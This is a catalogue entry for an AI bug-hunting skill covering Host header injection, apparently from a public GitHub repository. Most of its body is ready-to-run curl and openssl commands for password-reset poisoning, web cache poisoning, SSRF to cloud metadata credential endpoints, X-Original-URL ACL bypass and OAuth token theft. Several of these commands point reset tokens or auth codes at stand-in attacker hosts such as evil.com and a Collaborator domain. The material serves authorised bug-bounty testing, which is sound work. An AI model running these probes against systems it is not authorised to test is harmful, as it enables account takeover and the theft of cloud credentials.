{"id":"hunt-host-header","name":"hunt-host-header","summary":"ホストヘッダー注入 — ATO→パスワードリセット中毒、キー解除されたホスト/X転送ホストによるウェブキャッシュ中毒、ルーティングベースのSSRF(ホストがクラウド→メタデータ/内部サービスを上流選択)、パスオーバーライドSSRF/ACLバイパス(X-Original-URL/X-Rewrite-URL)、OAuth…","body":"# HUNT-HOST-HEADER — Host Header Injection\n\n## Grounding / Provenance\n\nThis skill is built from the public Host-header attack literature, not invented payloads.\nCite the *technique source* in your report, never a fabricated ID:\n\n- **Password-reset poisoning class** — the canonical write-up is Skelet's/Detectify-era\n  \"Practical HTTP Host header attacks\" (the Django `request.get_host()` → password-reset-link\n  case). Many frameworks built the reset URL from the request Host with no `ALLOWED_HOSTS`-style\n  allowlist. Cite the framework + the reflected-Host behaviour you actually observed.\n- **Web cache poisoning via unkeyed Host / X-Forwarded-Host** — PortSwigger Research,\n  James Kettle, \"Practical Web Cache Poisoning\" (2018) and \"Web Cache Entanglement\" (2020).\n  These define unkeyed-input poisoning, which is the mechanism behind X-Forwarded-Host poisoning.\n- **Routing-based SSRF** — PortSwigger Research, \"Cracking the lens\" / routing-based SSRF\n  (Host header steers the front-end's upstream selection).\n\nWhen you write the report, name the exact behaviour you reproduced (reflected header, cache HIT\non a fresh key, OOB hit from your Collaborator). Do **not** copy a CVE or H1 ID you have not\nverified — a missing citation is always better than a wrong one.\n\n---\n\n## Crown Jewel Targets\n\nHost header injection that reaches password reset links = Critical (ATO for any user).\n\n**Highest-value chains:**\n- **Password reset poisoning → ATO** — server builds the reset link from the request Host;\n  attacker sets `Host: evil.com`; the victim's reset email points the token at the attacker →\n  token captured on click → full ATO. Pre-account-takeover variant: even the victim *requesting*\n  their own reset leaks the token to evil.com.\n- **Web cache poisoning via unkeyed Host** — a CDN/reverse proxy caches a response that reflects\n  an attacker `X-Forwarded-Host` into an absolute URL (script src, link, redirect) → poisoned\n  entry served to every later visitor on that cache key → mass XSS/redirect/CSP bypass.\n- **Routing-based SSRF** — the front-end uses the *Host header itself* to pick the upstream;\n  `Host: 169.254.169.254` (or an internal hostname) makes it forward your request to that target\n  → cloud metadata / internal admin panels.\n- **Path-override SSRF / ACL bypass** — IIS/ASP.NET/Spring honour `X-Original-URL` /\n  `X-Rewrite-URL` to override the routed path → reach `/admin` or internal endpoints the edge\n  ACL thought it blocked. (Different layer from routing SSRF — see Phase 3.)\n- **OAuth/OIDC poisoning** — Host drives `redirect_uri` or the OIDC `issuer` / discovery doc →\n  auth-code or token theft → ATO.\n\n---\n\n## Attack Surface Signals\n\n```\nAny password reset / forgot-password / email-verification / invite endpoint\nAny app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)\nOAuth/OIDC authorization + /.well-known/openid-configuration endpoints\nAbsolute URLs constructed from request Host (set-password links, share links, webhooks)\nEmail-sending endpoints (transactional mail, notifications)\nReverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)\n```\n\n**Dangerous header candidates (unkeyed / trusted inputs):**\n```\nHost                 X-Forwarded-Host      X-Host\nX-Forwarded-Server   X-HTTP-Host-Override  Forwarded\nX-Original-URL       X-Rewrite-URL         X-Override-URL   (path-override class)\n```\n\n---\n\n## Step-by-Step Hunting Methodology\n\n> Always test against **your own** registered test account. Never request another user's reset.\n\n### Phase 1 — Password Reset Poisoning\n\n```bash\n# 1a. Override Host directly\ncurl -s -X POST https://$TARGET/forgot-password \\\n  -H \"Host: evil.com\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"email\":\"your-test-account@target.com\"}'\n\n# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)\ncurl -s -X POST https://$TARGET/forgot-password \\\n  -H \"Host: $TARGET\" \\\n  -H \"X-Forwarded-Host: evil.com\" \\\n  -d \"email=your-test-account@target.com\"\n\n# 1c. Host + X-Forwarded-Host combo, and X-Host\ncurl -s -X POST https://$TARGET/forgot-password \\\n  -H \"Host: $TARGET\" -H \"X-Host: evil.com\" \\\n  -d \"email=your-test-account@target.com\"\n\n# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Host\nprintf 'POST /forgot-password HTTP/1.1\\r\\nHost: %s\\r\\nHost: evil.com\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 33\\r\\nConnection: close\\r\\n\\r\\nemail=your-test-account@target.com' \"$TARGET\" \\\n  | openssl s_client -quiet -connect $TARGET:443 2>/dev/null\n\n# 1e. Absolute-URL injection: keep real Host, append attacker host so the\n#     reset link becomes https://TARGET.evil.com/... or routes the token out\ncurl -s -X POST https://$TARGET/forgot-password \\\n  -H \"Host: $TARGET.evil.com\" -d \"email=your-test-account@target.com\"\n\n# 1f. Trailing-port / userinfo confusion (parsers that split on : or @)\ncurl -s -X POST https://$TARGET/forgot-password \\\n  -H \"Host: $TARGET:1@evil.com\" -d \"email=your-test-account@target.com\"\n```\n\n**Confirm:** open the reset email *in your own test inbox* and read the link host. The token must\nappear under an attacker-controlled host (`evil.com`, `$TARGET.evil.com`, or a Collaborator\ndomain) for this to be a real finding. **Use a Burp Collaborator domain as the injected host** so\nthat when the victim clicks (or a preview-fetcher fetches), you capture the token out-of-band and\nhave proof — see Validation.\n\n### Phase 2 — Web Cache Poisoning via Host / X-Forwarded-Host\n\nMechanism: this is a **reflection** bug, not an OOB bug. The injected host must be *reflected into\nthe response body* (an absolute URL, script `src`, `<link href>`, `<base href>`, redirect\n`Location`, or canonical/og:url) **and** that response must be **cached on a key you do not\ncontrol**. No Collaborator callback is expected from the cache test itself — only later, if a\nvictim's browser loads the poisoned absolute URL.\n\n```bash\n# 2a. Is the host reflected into the body?\ncurl -s https://$TARGET/ \\\n  -H \"Host: $TARGET\" -H \"X-Forwarded-Host: canary-$RANDOM.example\" \\\n  | grep -i \"canary\"\n\n# 2b. Is the response cacheable, and what is the cache key?\ncurl -sI \"https://$TARGET/?cb=$RANDOM\" \\\n  | grep -iE \"cache-control|cf-cache-status|x-cache|age|via|surrogate|vary\"\n#   Look for: X-Cache/CF-Cache-Status: HIT, nonzero Age, Via: varnish/fastly/cloudfront.\n#   Check Vary: — if Vary does NOT include X-Forwarded-Host, the header is UNKEYED → poisonable.\n\n# 2c. Prove poisoning: poison once, then fetch CLEAN (no injected header) on same key.\nURL=\"https://$TARGET/?cb=poison$RANDOM\"\ncurl -s \"$URL\" -H \"X-Forwarded-Host: evilcdn.example\" >/dev/null   # poison\ncurl -s \"$URL\" | grep -i \"evilcdn.example\"                        # clean victim view → reflected = POISONED\n```\n\n**False-positive killers (mandatory):**\n- A reflection that only ever appears for *your* request (because the header is **keyed**, e.g. in\n  `Vary`, or the CDN includes Host in the key) is **not** poisoning — confirm 2c returns the\n  payload on a request that *omits* the header.\n- `Age: 0` + `MISS` every time → no shared cache → no mass impact. Demote to self-only / Low.\n- Confirm blast radius from a **second machine / fresh egress IP / incognito** before claiming\n  \"mass\". Cache scope is often per-edge / per-cookie / per-geo.\n\n### Phase 3 — SSRF via Host Header — TWO DISTINCT MECHANISMS (do not conflate)\n\nThese operate at different layers. Test them separately; they do **not** compose into one request.\n\n**(3A) Routing-based SSRF — the Host header selects the upstream.** The path goes on the\n**request line**, exactly as a normal request, because the metadata service / internal host serves\nplain HTTP and only sees the request line + headers you forward. `X-Original-URL` is irrelevant\nhere — the EC2 IMDS ignores it.\n\n```bash\n# Correct routing-SSRF probe: path on the request line, Host steers the proxy upstream.\ncurl -s \"https://$TARGET/latest/meta-data/\" -H \"Host: 169.254.169.254\"\ncurl -s \"https://$TARGET/latest/meta-data/iam/security-credentials/\" -H \"Host: 169.254.169.254\"\n\n# GCP / Azure equivalents (still routing via Host):\ncurl -s \"https://$TARGET/computeMetadata/v1/\" \\\n  -H \"Host: metadata.google.internal\" -H \"Metadata-Flavor: Google\"\ncurl -s \"https://$TARGET/metadata/instance?api-version=2021-02-01\" \\\n  -H \"Host: 169.254.169.254\" -H \"Metadata: true\"\n\n# Internal hostname / port routing:\ncurl -s \"https://$TARGET/\" -H \"Host: localhost:6379\"   # Redis behind the proxy\ncurl -s \"https://$TARGET/\" -H \"Host: internal-admin.svc.cluster.local\"\n\n# Blind / no reflection? Point the Host at a Collaborator subdomain and watch for the\n# proxy's outbound DNS/HTTP lookup — that proves the front-end resolves the attacker host.\ncurl -s \"https://$TARGET/\" -H \"Host: $COLLAB\"\n```\n\n**(3B) Path-override SSRF / ACL bypass — `X-Original-URL` / `X-Rewrite-URL`.** This is an\nIIS/ASP.NET/Spring-Cloud-Gateway feature where the app overrides the *routed path*. The real Host\nstays put; you are bypassing an **edge path ACL**, not steering an upstream. Keep the real Host.\n\n```bash\n# Reach an internal/blocked path the edge thought it denied. Real Host stays.\ncurl -s \"https://$TARGET/\" -H \"Host: $TARGET\" -H \"X-Original-URL: /admin\"\ncurl -s \"https://$TARGET/\" -H \"Host: $TARGET\" -H \"X-Rewrite-URL: /internal/metrics\"\n# Diff against a direct GET /admin (which the edge blocks) — a different status/body proves override.\n```\n\n> The old probe `Host: 169.254.169.254` + `X-Original-URL: /latest/meta-data/` was wrong: those\n> two headers act at different layers and never compose. Use 3A for metadata, 3B for ACL bypass.\n\n### Phase 4 — OAuth / OIDC / SAML Poisoning\n\n```bash\n# Does the authorization endpoint build redirect_uri / display URL from Host?\ncurl -s \"https://$TARGET/oauth/authorize?response_type=code&client_id=app&redirect_uri=https://$TARGET/cb\" \\\n  -H \"Host: evil.com\" | grep -iE \"redirect|location|action=\"\n\n# OIDC discovery: if issuer/endpoints reflect Host, the whole flow can be re-pointed.\ncurl -s \"https://$TARGET/.well-known/openid-configuration\" -H \"X-Forwarded-Host: evil.com\" \\\n  | grep -iE \"issuer|authorization_endpoint|token_endpoint|jwks_uri\"\n```\n\n**Confirm:** the auth code / token must actually be delivered to the attacker host (capture on\nCollaborator) — a reflected string alone is not ATO.\n\n### Phase 5 — Header Fuzzing (Param Miner)\n\nBurp **Param Miner → Guess headers** is faster and finds unkeyed/cache-affecting headers the list\nbelow misses. Manual sweep:\n\n```bash\nHOST_HEADERS=(X-Forwarded-Host X-Host X-Forwarded-Server X-HTTP-Host-Override \\\n  Forwarded X-Original-URL X-Rewrite-URL X-Override-URL X-Forwarded-Scheme)\nfor H in \"${HOST_HEADERS[@]}\"; do\n  echo \"=== $H ===\"\n  curl -s -I \"https://$TARGET/\" -H \"$H: canary-$RANDOM.example\" \\\n    | grep -iE \"location|x-cache|cf-cache|age|set-cookie\"\ndone\n```\n\n---\n\n## Chain Table\n\n| Finding | Chain to | Impact |\n|---------|----------|--------|\n| Reset link host = attacker (own test acct) | Collaborator-host injection → capture token on click | Critical — ATO any user |\n| X-Forwarded-Host reflected in absolute URL + cacheable, unkeyed | Poison key → clean fetch returns payload → load XSS/redirect | High — mass cache poisoning |\n| Front-end routes by Host | `Host: 169.254.169.254` path-on-request-line → creds | High/Critical — SSRF → cloud creds |\n| `X-Original-URL` overrides path | Reach `/admin` blocked at edge | High — ACL bypass / SSRF |\n| OAuth redirect_uri/issuer built from Host | Re-point flow → capture code/token on Collaborator | Critical — ATO via code theft |\n\n---\n\n## Validation (house discipline)\n\n✅ **Password reset:** the token URL in **your own test account's email** uses an\nattacker-controlled host. Strongest proof = inject a **Collaborator** host and show the inbound\nHTTP hit carrying the token when the link is clicked/previewed (OOB capture).\n✅ **Cache poison:** a request that **omits** the injected header (fresh egress IP / incognito)\nstill returns the attacker payload → shared-cache poisoning proven. Demote to Low if Vary-keyed or\n`MISS`/`Age:0` only.\n✅ **Routing SSRF:** real response body from `169.254.169.254` / internal host, **or** an OOB\nDNS/HTTP hit on your Collaborator from the front-end (blind case).\n✅ **Path-override:** status/body diff vs the edge-blocked direct request proves the override took.\n✅ **OAuth/OIDC:** the auth code / token is actually delivered to the attacker host (captured),\nnot merely reflected.\n\n**Always rule out false positives:**\n- Reflected ≠ cached. Cached-for-you ≠ cached-for-others (check `Vary`, second IP).\n- A 200 echoing your Host string is not SSRF unless the *response content* came from the internal\n  target or your Collaborator fired.\n- Some mailers rewrite links to a fixed `SITE_URL` regardless of Host — reflected header in the\n  HTTP response does not guarantee a poisoned *email*; verify the email body.\n\n**Severity:**\n- Reset → ATO for any user: Critical\n- Routing SSRF → cloud metadata creds: Critical (if creds usable) / High\n- Cache poisoning → mass XSS/redirect (shared key proven): High\n- Path-override → internal/admin reach: High\n- Reflected only, uncacheable, not in email, no internal reach: Low / informational","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-host-header","license":"MIT","category":"writing","lang":"en","tokens":3553,"stars":0,"calls30d":1,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":["target.evil.com"]}}